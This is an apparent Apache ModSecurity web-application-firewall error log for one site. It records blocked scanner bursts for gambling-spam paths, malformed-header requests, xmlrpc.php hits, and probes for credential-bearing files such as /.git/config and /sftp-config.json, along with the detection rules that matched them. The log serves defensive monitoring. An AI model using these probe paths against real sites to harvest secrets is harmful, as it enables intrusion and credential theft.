[Thu Mar 26 19:24:14.285159 2026] [:error] [pid 31717:tid 31726] [client 147.135.252.179:34962] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "acUXXr-SCF7YDISDX4_mTgAAAYQ"]
[Thu Mar 26 19:24:16.326823 2026] [:error] [pid 31778:tid 31812] [client 147.135.252.179:34968] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "acUXYA3kybI2o-xasmADpwAAAdM"]
[Thu Mar 26 19:24:18.207094 2026] [:error] [pid 60829:tid 60835] [client 147.135.252.179:34980] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "acUXYvTdjHKeZokybaTBkQAAAQQ"]
[Thu Mar 26 19:24:20.227830 2026] [:error] [pid 31670:tid 31683] [client 147.135.252.179:34990] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "acUXZDXVthXxCnWjOTSV7gAAAUs"]
[Thu Mar 26 19:24:22.253772 2026] [:error] [pid 31670:tid 31688] [client 147.135.252.179:34994] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "acUXZjXVthXxCnWjOTSV8gAAAVA"]
[Thu Mar 26 19:24:24.135021 2026] [:error] [pid 31778:tid 31804] [client 147.135.252.179:35008] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "acUXaA3kybI2o-xasmADrgAAAcs"]
[Thu Mar 26 19:24:26.159604 2026] [:error] [pid 31778:tid 31798] [client 147.135.252.179:35020] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "acUXag3kybI2o-xasmADsQAAAcU"]
[Thu Mar 26 19:24:28.028484 2026] [:error] [pid 60829:tid 60850] [client 147.135.252.179:35024] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "acUXbPTdjHKeZokybaTBmwAAARM"]
[Thu Mar 26 19:24:30.069526 2026] [:error] [pid 60829:tid 60841] [client 147.135.252.179:39588] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "acUXbvTdjHKeZokybaTBnQAAAQo"]
[Thu Mar 26 19:24:32.100736 2026] [:error] [pid 31670:tid 31674] [client 147.135.252.179:39598] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "acUXcDXVthXxCnWjOTSWFgAAAUI"]
[Thu Mar 26 19:24:33.969428 2026] [:error] [pid 31780:tid 31825] [client 147.135.252.179:39608] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "acUXcZJDwZsy5O4ZXEijYQAAAgU"]
[Thu Mar 26 19:25:34.003351 2026] [:error] [pid 31670:tid 31673] [client 43.153.71.132:57204] [client 43.153.71.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acUXrjXVthXxCnWjOTSWsAAAAUE"]
[Thu Mar 26 20:32:51.139350 2026] [:error] [pid 31670:tid 31674] [client 182.40.104.255:36024] [client 182.40.104.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acUnczXVthXxCnWjOTS68AAAAUI"]
[Thu Mar 26 22:57:53.915880 2026] [:error] [pid 19710:tid 19734] [client 103.181.69.89:41834] [client 103.181.69.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.181.69.89, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acVJcQVEWP8Ar68Njk4_fgAAAAw"]
[Thu Mar 26 23:05:54.069045 2026] [:error] [pid 19712:tid 19795] [client 162.62.213.187:44774] [client 162.62.213.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acVLUtWhKhRNqm23vFNZ8gAAAJM"]
[Fri Mar 27 00:13:22.857668 2026] [:error] [pid 19710:tid 19742] [client 184.22.54.216:64227] [client 184.22.54.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 184.22.54.216, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acVbIgVEWP8Ar68Njk5ctgAAABQ"]
[Fri Mar 27 01:35:28.756566 2026] [:error] [pid 62551:tid 62567] [client 185.169.4.152:62064] [client 185.169.4.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "acVuYIQvFHgfE1g4p7CQogAAAc0"]
[Fri Mar 27 01:35:29.433811 2026] [:error] [pid 62147:tid 62473] [client 185.169.4.152:52811] [client 185.169.4.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "acVuYRPjxn06mcLazN5_HwAAAA0"]
[Fri Mar 27 03:19:15.975093 2026] [:error] [pid 62551:tid 62570] [client 47.79.195.13:49814] [client 47.79.195.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.79.195.13, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acWGs4QvFHgfE1g4p7C1bwAAAdA"], referer: https://www.google.com/
[Fri Mar 27 03:43:34.109566 2026] [:error] [pid 25266:tid 25278] [client 43.138.68.113:46592] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acWMZjc0fUHa4PiGKazuhgAAAMo"]
[Fri Mar 27 04:04:33.731777 2026] [:error] [pid 27750:tid 27832] [client 216.81.200.75:44868] [client 216.81.200.75] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "acWRUYaSil5rd17ieLwTQQAAAI4"]
[Fri Mar 27 04:33:44.752718 2026] [:error] [pid 63897:tid 63922] [client 43.157.158.178:37708] [client 43.157.158.178] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acWYKGVSkmYmLu7ycYi63wAAARc"]
[Fri Mar 27 07:21:04.452963 2026] [:error] [pid 27851:tid 27882] [client 189.62.45.134:18369] [client 189.62.45.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.62.45.134, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acW_YHR2ccxe3RMCLbomowAAANg"]
[Fri Mar 27 08:19:01.192943 2026] [:error] [pid 27750:tid 27836] [client 194.247.173.99:55850] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "acXM9YaSil5rd17ieLxW3wAAAJI"]
[Fri Mar 27 08:19:03.218800 2026] [:error] [pid 4293:tid 4301] [client 194.247.173.99:33280] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "acXM95LjeJUC3OKtEx-4SQAAAUY"]
[Fri Mar 27 08:19:05.222755 2026] [:error] [pid 27851:tid 27859] [client 194.247.173.99:33282] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "acXM-XR2ccxe3RMCLbo35gAAAME"]
[Fri Mar 27 08:19:07.366364 2026] [:error] [pid 4293:tid 4309] [client 194.247.173.99:33294] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "acXM-5LjeJUC3OKtEx-4ZAAAAU4"]
[Fri Mar 27 08:19:09.423419 2026] [:error] [pid 4293:tid 4311] [client 194.247.173.99:33300] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "acXM_ZLjeJUC3OKtEx-4cAAAAVA"]
[Fri Mar 27 08:19:11.639808 2026] [:error] [pid 27851:tid 27864] [client 194.247.173.99:41462] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "acXM_3R2ccxe3RMCLbo36wAAAMY"]
[Fri Mar 27 08:19:13.819103 2026] [:error] [pid 27750:tid 27820] [client 194.247.173.99:41478] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "acXNAYaSil5rd17ieLxW9AAAAII"]
[Fri Mar 27 08:19:15.811026 2026] [:error] [pid 4341:tid 4343] [client 194.247.173.99:41494] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "acXNA-KJWrNB5dMlERFDwQAAAYA"]
[Fri Mar 27 08:19:17.767166 2026] [:error] [pid 4341:tid 4348] [client 194.247.173.99:41498] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "acXNBeKJWrNB5dMlERFDyQAAAYU"]
[Fri Mar 27 08:19:19.787808 2026] [:error] [pid 4293:tid 4312] [client 194.247.173.99:41502] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "acXNB5LjeJUC3OKtEx-5SQAAAVE"]
[Fri Mar 27 08:19:21.978138 2026] [:error] [pid 4293:tid 4307] [client 194.247.173.99:51984] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "acXNCZLjeJUC3OKtEx-5XwAAAUw"]
[Fri Mar 27 08:19:23.988085 2026] [:error] [pid 27743:tid 27781] [client 194.247.173.99:52000] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "acXNCyA46UYYLqzw99ATdQAAABE"]
[Fri Mar 27 08:19:26.182219 2026] [:error] [pid 4293:tid 4300] [client 194.247.173.99:52012] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "acXNDpLjeJUC3OKtEx-5YgAAAUU"]
[Fri Mar 27 08:19:28.202590 2026] [:error] [pid 4341:tid 4352] [client 194.247.173.99:52020] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "acXNEOKJWrNB5dMlERFD4AAAAYk"]
[Fri Mar 27 08:19:30.169970 2026] [:error] [pid 63897:tid 63903] [client 194.247.173.99:52024] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "acXNEmVSkmYmLu7ycYg6JAAAAQQ"]
[Fri Mar 27 08:19:32.245030 2026] [:error] [pid 27743:tid 27775] [client 194.247.173.99:33744] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "acXNFCA46UYYLqzw99ATfwAAAAs"]
[Fri Mar 27 08:19:34.370412 2026] [:error] [pid 4341:tid 4350] [client 194.247.173.99:33760] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "acXNFuKJWrNB5dMlERFD-wAAAYc"]
[Fri Mar 27 08:19:37.260133 2026] [:error] [pid 63897:tid 63923] [client 194.247.173.99:33764] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "acXNGWVSkmYmLu7ycYg6OgAAARg"]
[Fri Mar 27 08:19:39.383532 2026] [:error] [pid 4293:tid 4301] [client 194.247.173.99:33772] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "acXNG5LjeJUC3OKtEx-5jQAAAUY"]
[Fri Mar 27 08:19:41.507108 2026] [:error] [pid 27750:tid 27842] [client 194.247.173.99:34224] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acXNHYaSil5rd17ieLxXHgAAAJg"]
[Fri Mar 27 08:19:43.522605 2026] [:error] [pid 27851:tid 27876] [client 194.247.173.99:34228] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acXNH3R2ccxe3RMCLbo4HQAAANI"]
[Fri Mar 27 08:19:45.583134 2026] [:error] [pid 4341:tid 4350] [client 194.247.173.99:34236] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "acXNIeKJWrNB5dMlERFEGQAAAYc"]
[Fri Mar 27 08:19:47.747500 2026] [:error] [pid 4293:tid 4311] [client 194.247.173.99:34248] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "acXNI5LjeJUC3OKtEx-5rwAAAVA"]
[Fri Mar 27 08:19:49.925532 2026] [:error] [pid 4341:tid 4357] [client 194.247.173.99:34252] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "acXNJeKJWrNB5dMlERFEMQAAAY4"]
[Fri Mar 27 08:19:52.085841 2026] [:error] [pid 63897:tid 63911] [client 194.247.173.99:37274] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "acXNKGVSkmYmLu7ycYg6SwAAAQw"]
[Fri Mar 27 08:19:54.053311 2026] [:error] [pid 27851:tid 27860] [client 194.247.173.99:37290] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "acXNKnR2ccxe3RMCLbo4LwAAAMI"]
[Fri Mar 27 08:19:56.078917 2026] [:error] [pid 63897:tid 63906] [client 194.247.173.99:37298] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "acXNLGVSkmYmLu7ycYg6XAAAAQc"]
[Fri Mar 27 10:31:43.764315 2026] [:error] [pid 4341:tid 4346] [client 49.7.227.204:56978] [client 49.7.227.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acXsD-KJWrNB5dMlERF7pAAAAYM"]
[Fri Mar 27 11:19:30.721194 2026] [:error] [pid 27743:tid 27773] [client 43.159.141.150:47474] [client 43.159.141.150] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acX3QiA46UYYLqzw99AvmAAAAAk"]
[Fri Mar 27 13:20:14.122648 2026] [:error] [pid 63897:tid 63909] [client 37.187.27.125:36526] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "acYTjmVSkmYmLu7ycYjJeAAAAQo"]
